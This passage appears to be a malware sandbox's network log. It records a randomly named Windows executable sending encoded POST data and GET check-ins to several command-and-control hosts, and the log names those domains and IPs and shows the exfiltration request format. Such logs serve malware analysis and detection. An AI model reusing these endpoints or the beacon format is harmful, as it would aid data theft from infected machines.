Sep 11, 2024 22:03:55.497061014 CEST	460	OUT	GET /bqpw/?bFGXGTdX=7i7mgMVoUdn3K3H4hxR2Z2sx7NMDmz1WBuojPjrSQrb0L6/7xSQOb69NgDz1ThGB8kqobNNV7CaIX5kMC3tpqGoJwELsf5+TzHoCpSOUthnHuH68iQ==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.nbh6agr8h.sbs Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:03:56.395628929 CEST	224	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 20:03:56 GMT Content-Type: text/html Content-Length: 2 Last-Modified: Tue, 26 Mar 2024 07:31:39 GMT Connection: close ETag: "660279db-2" Accept-Ranges: bytes Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49725	154.213.157.32	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:02.810854912 CEST	716	OUT	POST /qii2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.54bxd.cyou Origin: http://www.54bxd.cyou Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.54bxd.cyou/qii2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 42 77 6f 48 48 61 67 74 6f 41 46 72 4e 41 4d 56 46 45 72 44 69 6d 77 6b 57 56 2b 46 54 76 34 71 6e 66 49 63 61 6c 36 62 56 4e 38 6a 31 69 46 78 6d 43 4e 54 54 59 50 62 51 52 4c 56 77 68 4f 5a 55 64 44 65 35 37 66 30 73 61 43 59 78 6f 45 51 4d 49 61 48 55 34 43 39 4d 6b 68 5a 46 35 36 64 47 71 4e 75 4f 6e 4d 50 66 30 63 6e 64 44 69 70 51 35 45 56 6d 75 6c 68 51 46 41 5a 6d 32 45 45 34 7a 57 55 53 51 58 53 6d 2b 64 6b 67 61 70 66 4e 54 77 30 53 4c 4a 35 33 59 49 36 35 64 72 54 36 6d 34 4a 55 50 4d 61 2b 53 51 78 37 73 75 70 4c 72 31 55 42 5a 35 44 46 4c 66 35 Data Ascii: bFGXGTdX=BwoHHagtoAFrNAMVFErDimwkWV+FTv4qnfIcal6bVN8j1iFxmCNTTYPbQRLVwhOZUdDe57f0saCYxoEQMIaHU4C9MkhZF56dGqNuOnMPf0cndDipQ5EVmulhQFAZm2EE4zWUSQXSm+dkgapfNTw0SLJ53YI65drT6m4JUPMa+SQx7supLr1UBZ5DFLf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49726	154.213.157.32	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:05.346828938 CEST	740	OUT	POST /qii2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.54bxd.cyou Origin: http://www.54bxd.cyou Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.54bxd.cyou/qii2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 42 77 6f 48 48 61 67 74 6f 41 46 72 4d 68 38 56 44 6e 54 44 6b 47 77 6e 4b 6c 2b 46 61 50 34 6d 6e 66 4d 63 61 6e 57 4c 56 2f 59 6a 37 69 56 78 30 32 68 54 51 59 50 62 59 78 4c 55 75 52 4f 53 55 64 65 72 35 2b 33 30 73 5a 2b 59 78 74 67 51 4d 37 79 45 56 6f 43 2f 44 45 68 62 61 4a 36 64 47 71 4e 75 4f 6e 6f 32 66 77 34 6e 63 7a 53 70 52 64 6f 61 76 4f 6c 6d 41 6c 41 5a 69 32 45 41 34 7a 57 71 53 52 36 50 6d 37 42 6b 67 66 74 66 44 69 77 31 4a 62 49 79 34 34 4a 2b 38 64 2b 47 77 57 45 4b 64 4f 6f 55 6f 43 64 55 34 4e 50 75 61 36 55 44 53 75 6c 4e 4c 4e 71 54 36 4c 58 71 7a 52 70 73 6b 56 45 54 72 4c 75 4a 63 41 35 6e 63 77 3d 3d Data Ascii: bFGXGTdX=BwoHHagtoAFrMh8VDnTDkGwnKl+FaP4mnfMcanWLV/Yj7iVx02hTQYPbYxLUuROSUder5+30sZ+YxtgQM7yEVoC/DEhbaJ6dGqNuOno2fw4nczSpRdoavOlmAlAZi2EA4zWqSR6Pm7BkgftfDiw1JbIy44J+8d+GwWEKdOoUoCdU4NPua6UDSulNLNqT6LXqzRpskVETrLuJcA5ncw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49727	154.213.157.32	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:07.873356104 CEST	1753	OUT	POST /qii2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.54bxd.cyou Origin: http://www.54bxd.cyou Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.54bxd.cyou/qii2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 42 77 6f 48 48 61 67 74 6f 41 46 72 4d 68 38 56 44 6e 54 44 6b 47 77 6e 4b 6c 2b 46 61 50 34 6d 6e 66 4d 63 61 6e 57 4c 56 2f 51 6a 37 51 74 78 6c 68 31 54 52 59 50 62 53 52 4c 52 75 52 4f 31 55 64 57 6e 35 2b 79 44 73 63 36 59 77 4f 59 51 45 71 79 45 62 6f 43 2f 42 45 68 61 46 35 37 66 47 71 64 71 4f 6e 59 32 66 77 34 6e 63 77 4b 70 59 70 45 61 70 4f 6c 68 51 46 41 56 6d 32 45 34 34 7a 65 36 53 52 2b 66 6d 50 4e 6b 67 2f 39 66 42 51 49 31 55 4c 49 77 39 34 4a 59 38 64 6a 57 77 56 68 7a 64 4f 63 79 6f 41 4e 55 37 6f 71 35 49 2b 41 35 42 76 64 35 44 50 6a 33 79 4e 58 34 37 31 55 51 6a 6c 41 37 7a 50 6a 71 59 54 49 52 4a 50 54 78 53 4f 51 39 51 41 53 49 57 6b 2f 37 53 59 35 4f 69 42 74 69 54 49 74 69 39 4c 45 47 4b 59 67 62 6d 39 50 49 55 56 42 79 71 44 33 51 44 62 65 44 6a 33 50 33 70 4b 2b 75 6c 36 79 4d 6b 51 64 73 56 34 36 34 72 4f 61 38 7a 39 39 62 49 30 41 7a 33 6f 38 6d 57 39 2f 43 69 46 55 42 37 69 70 4b 42 73 66 4b 6f 75 77 33 57 50 44 34 37 2f 53 68 6b 6d 53 63 64 [TRUNCATED] Data Ascii: bFGXGTdX=BwoHHagtoAFrMh8VDnTDkGwnKl+FaP4mnfMcanWLV/Qj7Qtxlh1TRYPbSRLRuRO1UdWn5+yDsc6YwOYQEqyEboC/BEhaF57fGqdqOnY2fw4ncwKpYpEapOlhQFAVm2E44ze6SR+fmPNkg/9fBQI1ULIw94JY8djWwVhzdOcyoANU7oq5I+A5Bvd5DPj3yNX471UQjlA7zPjqYTIRJPTxSOQ9QASIWk/7SY5OiBtiTIti9LEGKYgbm9PIUVByqD3QDbeDj3P3pK+ul6yMkQdsV464rOa8z99bI0Az3o8mW9/CiFUB7ipKBsfKouw3WPD47/ShkmScd4ozXHX6DQDiOUtZ379DjEliz/N4c6SagwHLRwVk2/bmgTW6G2hO6aXknAoCpWshzZzgzunCT/tVCHHhKOSkTS/RSz9VNxtwy3ehil1l7EWFCZPdW5+ypJVvJDff0dZ92OeGuS4vwfoxWUNBKu+rlV1B1HyTiYGAeqmerZQQTDRAIesLlYpjKxH2WxpxKgLPW0EofU5QWlMMNq5606BUHxOhdRbOLO5j7dI1bNhS0CcweXjrTctcYL7HotIlmKVO2bbqS8hVQ3Gnu3ySsqLJEdmnIk0aFvxVA2WPZEObhgicFS7JdW4ltQa7hVXxty9haWVvIPy97Ys/WdlPcFfU7Vyb2w68jwlUqopcrJW+ozKYNBcd1ItmEmrtn+wRMBwa581rgvM68Lras8SvbVLQ2KGHiB+u1IYiGvSLCl3k8eeDi/Ar/BBfoqOrkkMehLiY5W8aL77keLfSWAN1Qmn56b4TeYQRfK/FRAf9thgP+KufM5nsjDz7YNhSN6Oa+hB9IPyAWymtYjH6LeChhL1BNbYE8JBTkt/byVPe91aMg/MyBxNaUNXs8NZ+oIB32pd0D8mJ0fiUoJtuWMVafY6k5RXeE9S4PmDmFHwaDc7lBIhrGEj/AeNktKDYvYwo5Dg+FEKMF875xHicfpzqjqHqqjsLrJOkacN8fK7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49728	154.213.157.32	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:10.404664993 CEST	457	OUT	GET /qii2/?bFGXGTdX=MyAnEvAqgx9IHgh7O1f7tHhASGGjAfpU9Y1SDE6GUOU+/QpZ0wdWe4W7KVnq9zWaa6WrnYnil8yz0OBRRbaeb4KuJn8nSoXQG6ZxMFNQIXEXLDmqOQ==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.54bxd.cyou Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49729	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:37.402867079 CEST	725	OUT	POST /zqqa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.r7xzr3ib0.sbs Origin: http://www.r7xzr3ib0.sbs Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.r7xzr3ib0.sbs/zqqa/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 56 2f 4a 49 69 66 58 72 58 33 4d 4f 54 36 5a 50 4c 65 6c 38 44 78 76 38 63 70 36 6e 57 7a 56 72 78 34 32 30 2b 77 7a 5a 79 39 51 72 56 44 35 52 55 5a 56 58 69 4c 37 45 35 37 71 64 63 30 39 70 68 38 53 69 42 2b 2f 48 77 55 50 54 56 74 77 6e 79 4d 7a 31 30 2f 79 2b 41 36 76 69 36 51 7a 51 2b 33 73 63 6f 2b 4e 2f 6c 68 73 4a 6f 78 77 63 34 36 41 44 47 4b 6a 68 69 6d 48 59 63 76 57 62 66 57 4a 61 64 78 48 5a 31 50 6b 4f 66 31 73 30 61 52 77 33 44 63 63 48 75 4b 53 4d 4f 63 76 58 6f 7a 50 41 46 6c 54 69 67 74 66 74 6a 6f 4e 79 45 45 38 43 52 50 49 6e 49 76 36 Data Ascii: bFGXGTdX=UV/JIifXrX3MOT6ZPLel8Dxv8cp6nWzVrx420+wzZy9QrVD5RUZVXiL7E57qdc09ph8SiB+/HwUPTVtwnyMz10/y+A6vi6QzQ+3sco+N/lhsJoxwc46ADGKjhimHYcvWbfWJadxHZ1PkOf1s0aRw3DccHuKSMOcvXozPAFlTigtftjoNyEE8CRPInIv6
Sep 11, 2024 22:04:38.312841892 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:04:38 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49730	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:39.935009003 CEST	749	OUT	POST /zqqa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.r7xzr3ib0.sbs Origin: http://www.r7xzr3ib0.sbs Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.r7xzr3ib0.sbs/zqqa/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 56 2f 4a 49 69 66 58 72 58 33 4d 63 43 4b 5a 4e 73 4b 6c 73 54 78 6f 79 38 70 36 38 47 79 39 72 78 45 32 30 2f 30 6a 5a 48 6c 51 6f 78 4c 35 51 56 5a 56 43 69 4c 37 4c 5a 37 6a 54 38 30 32 70 68 34 61 69 42 79 2f 48 77 41 50 54 58 31 77 6e 44 4d 77 6e 55 2f 6e 32 67 37 70 73 61 51 7a 51 2b 33 73 63 6f 71 6a 2f 6c 70 73 4a 5a 68 77 63 5a 36 44 66 57 4b 69 67 69 6d 48 50 4d 75 64 62 66 57 72 61 63 73 53 5a 7a 44 6b 4f 62 39 73 30 72 52 33 2b 44 64 32 49 4f 4c 58 4a 75 42 2f 51 49 37 38 41 7a 67 61 6b 32 74 62 71 43 4a 4b 6a 56 6c 72 52 6d 54 47 70 4f 61 51 56 6b 35 61 39 36 52 43 69 6f 30 30 39 4c 71 45 4d 4d 69 67 58 67 3d 3d Data Ascii: bFGXGTdX=UV/JIifXrX3McCKZNsKlsTxoy8p68Gy9rxE20/0jZHlQoxL5QVZVCiL7LZ7jT802ph4aiBy/HwAPTX1wnDMwnU/n2g7psaQzQ+3scoqj/lpsJZhwcZ6DfWKigimHPMudbfWracsSZzDkOb9s0rR3+Dd2IOLXJuB/QI78Azgak2tbqCJKjVlrRmTGpOaQVk5a96RCio009LqEMMigXg==
Sep 11, 2024 22:04:40.849977016 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:04:40 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49731	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:42.466953993 CEST	1762	OUT	POST /zqqa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.r7xzr3ib0.sbs Origin: http://www.r7xzr3ib0.sbs Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.r7xzr3ib0.sbs/zqqa/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 56 2f 4a 49 69 66 58 72 58 33 4d 63 43 4b 5a 4e 73 4b 6c 73 54 78 6f 79 38 70 36 38 47 79 39 72 78 45 32 30 2f 30 6a 5a 45 46 51 72 47 4c 35 52 79 31 56 45 53 4c 37 47 35 37 75 54 38 30 52 70 6c 55 65 69 41 4f 46 48 79 34 50 42 45 39 77 75 52 6b 77 2b 6b 2f 6e 36 41 37 35 69 36 51 63 51 2b 6e 77 63 6f 36 6a 2f 6c 70 73 4a 62 4a 77 49 59 36 44 64 57 4b 6a 68 69 6e 47 59 63 76 36 62 65 2b 52 61 63 59 43 5a 6a 6a 6b 4a 37 74 73 6e 70 35 33 38 6a 64 30 4a 4f 4c 78 4a 75 4d 6c 51 49 6e 4b 41 7a 39 2f 6b 78 5a 62 76 6e 34 53 34 6b 31 64 41 32 33 68 6d 73 47 61 62 68 4a 53 39 5a 49 6d 6f 64 30 57 72 76 76 4f 46 64 37 5a 42 45 54 2b 65 71 7a 35 6e 51 67 4a 6a 58 72 2b 74 69 4c 58 42 6b 4a 4a 54 58 61 6f 65 47 61 35 64 4f 69 41 66 64 45 74 76 66 58 33 41 52 39 44 4a 41 72 4b 47 31 53 4c 39 6d 44 2b 64 35 49 6a 6f 46 42 30 33 67 75 69 37 4a 72 35 4e 6e 70 43 6f 77 6c 54 75 6b 46 42 55 5a 7a 44 4d 76 49 32 6d 37 6c 4a 7a 69 38 44 49 67 53 51 6b 68 63 54 74 61 4b 57 33 78 61 47 6c [TRUNCATED] Data Ascii: bFGXGTdX=UV/JIifXrX3McCKZNsKlsTxoy8p68Gy9rxE20/0jZEFQrGL5Ry1VESL7G57uT80RplUeiAOFHy4PBE9wuRkw+k/n6A75i6QcQ+nwco6j/lpsJbJwIY6DdWKjhinGYcv6be+RacYCZjjkJ7tsnp538jd0JOLxJuMlQInKAz9/kxZbvn4S4k1dA23hmsGabhJS9ZImod0WrvvOFd7ZBET+eqz5nQgJjXr+tiLXBkJJTXaoeGa5dOiAfdEtvfX3AR9DJArKG1SL9mD+d5IjoFB03gui7Jr5NnpCowlTukFBUZzDMvI2m7lJzi8DIgSQkhcTtaKW3xaGl1V8RUW4YeytVzWk9OSE7u3E2zFR/MvSUP6z1sso2i3s3qBDCZttrrsbWV89x3hcaJgqgZuDCPaOPYK8cpJI+hcNOv3pFe/PekLbPn0/ZAHgVPkhL3VxsCqqjIWjTCDH9gMCRYNIYXG7psldXTM/10Kr7KGySqS//j7Ea1/oR0FDk4oqZ7mX0znn1T45hp0Kj8gdugkVwpRhTdXYIuA48jiAAr0+M5YOqSNFqE0NoRW9PqRZPoSPXaC4+eFSGgkmJEUdawh1SbidM36OtS+M3KdHQKiPRWqINOpI+aqJbBVPofRZpQtfdlyXhrC8YL5qyWNY23Ol7Pn+0u1VWWyVJ8JFFMn6T/lyVS5xg1Nm4xMLpZjb9q8TDtMvCdtnH3vdbIs9VlgH4X3ioKHYrhNqE6s25bypwcNEeblkA3HkTO75zFXTaGzTVoakwlrz4sVX/1qQp3QZBDzC2vWs2EiDCf5uplZ514l73MumhDlefR/+RnKb1V5qKj+5KodJszzz8CZ9Q0ABeRQdrt41CgNLQC2dTRl52zHkOz9jHZB6/ytQrGEBjzgIBqg5NYA6otIXYmRK0adUa9r3W3DfxiSJL13j0220NDbwjJrtxS5p7VRshI8NLsvet19Eaj91GuBwiA4Krk9ZD+4Gv4BXAjtaCNR8dCcV5wiBMBX [TRUNCATED]
Sep 11, 2024 22:04:43.621826887 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:04:43 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1
Sep 11, 2024 22:04:43.623411894 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:04:43 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49732	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:45.001075029 CEST	460	OUT	GET /zqqa/?bFGXGTdX=ZXXpLVL5zGXuIyziXd74rR8Z9u95/Dmogjom9+EAQEp6mmLdAUlPVhz6U9vRTuA6wBlP9h+HTHItH2gyziEy2Gmm5hf6oNdAA8n0WZPfrmRJWLBYJQ==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.r7xzr3ib0.sbs Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:04:45.907720089 CEST	224	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 20:04:45 GMT Content-Type: text/html Content-Length: 2 Last-Modified: Tue, 26 Mar 2024 07:31:39 GMT Connection: close ETag: "660279db-2" Accept-Ranges: bytes Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49733	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:50.969106913 CEST	746	OUT	POST /zwgt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bitmapsportsbook.com Origin: http://www.bitmapsportsbook.com Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.bitmapsportsbook.com/zwgt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 51 41 38 4c 70 66 4a 77 79 35 79 7a 35 54 43 39 6a 4f 48 54 31 48 6f 61 68 2b 30 63 2f 54 50 6f 56 67 56 5a 36 74 37 66 31 65 57 6f 72 38 6f 66 77 69 37 6d 4b 2f 70 61 71 72 6f 4c 44 66 6e 57 72 69 38 37 72 41 70 47 30 4e 44 43 66 43 69 6d 66 43 70 7a 61 6f 66 68 30 50 71 75 42 4d 74 42 56 64 43 50 47 45 72 69 78 47 34 4d 76 78 37 4e 48 30 6f 37 2b 51 5a 38 46 66 73 4b 48 67 63 52 46 66 56 76 47 45 58 73 43 4a 35 43 51 48 71 79 36 6b 43 5a 75 51 79 4b 50 55 30 79 38 6c 30 78 34 73 33 49 59 4d 51 68 43 4f 70 32 6b 2f 6a 64 47 30 53 56 43 36 33 46 4a 67 45 62 Data Ascii: bFGXGTdX=QA8LpfJwy5yz5TC9jOHT1Hoah+0c/TPoVgVZ6t7f1eWor8ofwi7mK/paqroLDfnWri87rApG0NDCfCimfCpzaofh0PquBMtBVdCPGErixG4Mvx7NH0o7+QZ8FfsKHgcRFfVvGEXsCJ5CQHqy6kCZuQyKPU0y8l0x4s3IYMQhCOp2k/jdG0SVC63FJgEb
Sep 11, 2024 22:04:51.625551939 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49734	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:53.498609066 CEST	770	OUT	POST /zwgt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bitmapsportsbook.com Origin: http://www.bitmapsportsbook.com Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.bitmapsportsbook.com/zwgt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 51 41 38 4c 70 66 4a 77 79 35 79 7a 2f 7a 53 39 6c 76 48 54 6c 58 6f 64 38 4f 30 63 6b 6a 50 73 56 67 52 5a 36 70 69 61 30 6f 47 6f 6f 64 59 66 78 6a 37 6d 4a 2f 70 61 6c 4c 70 42 64 76 6e 66 72 69 78 45 72 46 4a 47 30 4a 72 43 66 41 71 6d 66 56 39 79 5a 59 66 6a 37 76 71 2f 63 38 74 42 56 64 43 50 47 45 58 59 78 43 55 4d 76 42 6e 4e 42 52 55 38 39 51 5a 2f 56 76 73 4b 44 67 64 57 46 66 55 43 47 46 61 6b 43 4c 52 43 51 47 32 79 36 56 43 61 6e 51 79 4d 53 45 31 45 7a 31 52 32 33 2b 58 4c 58 66 59 35 64 4e 52 31 6e 65 43 61 58 6c 7a 43 52 4e 72 4c 48 6d 78 78 45 7a 6d 68 51 4d 67 35 7a 69 6a 50 65 34 53 6d 67 49 44 79 50 51 3d 3d Data Ascii: bFGXGTdX=QA8LpfJwy5yz/zS9lvHTlXod8O0ckjPsVgRZ6pia0oGoodYfxj7mJ/palLpBdvnfrixErFJG0JrCfAqmfV9yZYfj7vq/c8tBVdCPGEXYxCUMvBnNBRU89QZ/VvsKDgdWFfUCGFakCLRCQG2y6VCanQyMSE1Ez1R23+XLXfY5dNR1neCaXlzCRNrLHmxxEzmhQMg5zijPe4SmgIDyPQ==
Sep 11, 2024 22:04:54.155144930 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49735	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:56.030184984 CEST	1783	OUT	POST /zwgt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bitmapsportsbook.com Origin: http://www.bitmapsportsbook.com Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.bitmapsportsbook.com/zwgt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 51 41 38 4c 70 66 4a 77 79 35 79 7a 2f 7a 53 39 6c 76 48 54 6c 58 6f 64 38 4f 30 63 6b 6a 50 73 56 67 52 5a 36 70 69 61 30 6f 4f 6f 72 76 38 66 77 